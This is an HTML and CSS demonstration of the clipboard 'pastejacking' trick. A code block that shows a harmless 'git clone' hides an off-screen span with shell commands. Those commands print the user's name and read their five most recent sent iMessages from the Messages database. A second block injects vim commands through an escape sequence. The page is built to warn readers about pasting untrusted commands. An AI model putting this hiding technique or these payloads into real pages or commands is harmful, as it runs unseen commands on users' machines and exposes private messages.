Terminal Copy and Paste

by Ryan Pendleton

HTML

<body>
    <p>
        You surely know this: You're looking at some websites with some useful shell commands.
        However, those commands are long as hell and you know you're probably not gonna need
        them for a few years or so (so there's no need to memorize them.) So, what do you do?
        You copy-paste them. Here's an example:
    </p>
    
    <p class="codeblock">
        <!-- Oh noes, you found it! -->
        git clone
        <span style="position: absolute; left:-11100px; top:-100px">/dev/null;
            clear;
            echo -n "Hello ";
            whoami | tr -d '\n';
            
            echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!';
            echo -e 'Here are the last few messages you sent in Messages:\n-----------------------';
            sqlite3 ~/Library/Messages/chat.db 'SELECT text FROM message WHERE is_from_me = 1 ORDER BY rowid DESC LIMIT 0,5';
            
            echo -e '------------------------';<br/>git clone
        </span>
        https://github.com/docker-library/hello-world.git
    </p>
    
    <p>
        Try running this command in your terminal. It's supposed to be harmless, right? It
        is harmless, yes, but what happens still isn't what you'd expect and demonstrates
        the dangers in doing stuff like that. Mark it with your mouse, copy it somehow and
        paste it into a terminal. What happens?
    </p>
    
    <p>
        You don't need to be careful only at a command line though. Go ahead and try to
        copy the following into vim while in insert mode, then check the terminal session
        you used to start vim (aka, close vim). This doesn't work in all Terminal programs
        (such as iTerm), but it does for a few, including the Terminal in OS X.
    </p>
    
    <p class="codeblock">
        <!-- Oh noes, you found it! -->
        hello
        <span style="position: absolute; left:-200px; top:-300px">
            &#27;:sp<br/>
  ...

CSS

.codeblock {
      background-color: lightyellow;
      border: 1px dotted blue;
      margin-left: 50px;
      display: inline-block;
    }